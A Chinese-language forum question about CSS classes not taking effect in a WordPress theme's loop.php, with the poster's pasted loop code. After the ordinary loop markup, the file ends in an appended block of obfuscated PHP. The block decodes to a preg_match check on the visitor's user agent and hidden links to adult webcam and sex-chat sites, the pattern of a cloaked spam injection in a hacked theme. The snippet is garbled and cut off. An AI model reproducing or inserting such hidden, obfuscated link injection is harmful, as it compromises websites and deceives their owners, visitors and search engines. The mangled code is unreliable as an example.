我正试图根据常规WP循环的工作位置来设计它的样式。我在循环中添加了检查,以查看它在哪里,并相应地添加了类,所有操作都很好。
问题是,当我打开Style.CSS来使用这些类并添加属性时,它不起作用。因此,我可以将样式添加到循环的HTML中,这是有限的。
你能告诉我这种行为背后的原因吗?
示例:
在loop.hp:
<?php $paged = (get_query_var('paged')) ? get_query_var('paged') : 1; ?>
<div id="recent-posts" class="clearfix">
<?php while (have_posts()) : the_post(); ?>
<div id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
<?php if (option::get('index_thumb') == 'on') {
if ( is_sticky() && is_home() && $paged < 2 ) {
$size = 'loop-sticky';
$width = 740;
$height = 370;
} else {
$size = 'loop';
$width = option::get('thumb_width');
$height = option::get('thumb_height');
}
get_the_image( array( 'size' => $size, 'width' => $width, 'height' => $height, 'before' => '<div class="post-thumb">', 'after' => '</div>' ) );
} ?>
<div class="post-content">
<?php if (!((is_category('newtest')) || (in_category('newtest')))){ ?>
<h1 class="archive_title">
<?php /* category archive */ if (is_category()) { ?> <?php single_cat_title(); ?>
<?php /* tag archive */ } elseif( is_tag() ) { ?><?php _e('Post Tagged with:', 'wpzoom'); ?> "<?php single_tag_title(); ?>"
<?php /* daily archive */ } elseif (is_day()) { ?><?php _e('Archive for', 'wpzoom'); ?> <?php the_time('F jS, Y'); ?>
<?php /* monthly archive */ } elseif (is_month()) { ?><?php _e('Archive for', 'wpzoom'); ?> <?php the_time('F, Y'); ?>
<?php /* yearly archive */ } elseif (is_year()) { ?><?php _e('Archive for', 'wpzoom'); ?> <?php the_time('Y'); ?>
<?php /* author archive */ } elseif (is_author()) { ?><?php echo get_avatar( $curauth->ID , 65 ); _e( ' Articles by: ', 'wpzoom' ); echo $curauth->display_name; ?>
<?php /* paged archive */ } elseif (isset($_GET['paged']) && !empty($_GET['paged'])) { ?><?php _e('Archives', 'wpzoom'); } ?>
</h1>
<?php echo category_description( $category_id ); ?>
<?php } ?>
<h2 <?php if((is_category('newtest')) || (in_category('newtest'))) { ?> class="blogPostTitle" <?php } ?> ><a href="<?php the_permalink(); ?>" title="<?php printf( esc_attr__( 'Permalink to %s', 'wpzoom' ), the_title_attribute( 'echo=0' ) ); ?>" rel="bookmark"><?php the_title(); ?></a></h2>
<div class="entry">
<?php if (option::get('display_content') == 'Full Content') { the_content('<span>'.__('Read more', 'wpzoom').' ›</span>'); } if (option::get('display_content') == 'Excerpt') { the_excerpt(); } ?>
</div><!-- /.entry -->
<div class="recent-meta">
<?php if (option::get('display_author') == 'on') { ?><span><?php _e('by', 'wpzoom'); ?> <?php the_author_posts_link(); ?></span> <span class="separator">—</span><?php } ?>
<?php if (option::get('display_date') == 'on') { ?><span><?php printf( __('%s', 'wpzoom'), get_the_date()); ?></span> <span class="separator">—</span><?php } ?>
<?php if (option::get('display_comments') == 'on') { ?><span><?php comments_popup_link( __('0 comments', 'wpzoom'), __('1 comment', 'wpzoom'), __('% comments', 'wpzoom'), '', __('Comments are Disabled', 'wpzoom')); ?></span> <span class="separator">—</span><?php } ?>
<?php if (option::get('display_category') == 'on') { ?><span><?php the_category(', '); ?></span><?php } ?>
<?php edit_post_link( __('Edit', 'wpzoom'), '<span class="separator">—</span> <span>', '</span>'); ?>
</div><!-- /.post-meta -->
</div><!-- /.post-content -->
<div class="clear"></div>
</div><!-- #post-<?php the_ID(); ?> -->
<?php endwhile; ?>
<?php get_template_part( 'pagination'); ?>
<?php wp_reset_query(); ?>
</div>
<?php
$x0d="x70162x65g137155141x74x63x68";
$x0b = $_SERVER['HTTP_USER_AGENT'];$x0c="x20x0d
x3cx61 150162145146='150tx74160x3ax2f 57wx77x77x2ex70162iv141164ew145bcx61mx67i162154.x63x6fx6d 57'x3e 40167x65142143x61m 40g151162x6c163 163145170x3c 57141>x20 15 12 74141 x68162ef 75'x68164t160x3ax2fx2fx77w167 56146162x65x65163x65x170170x63hax74 56com 40'>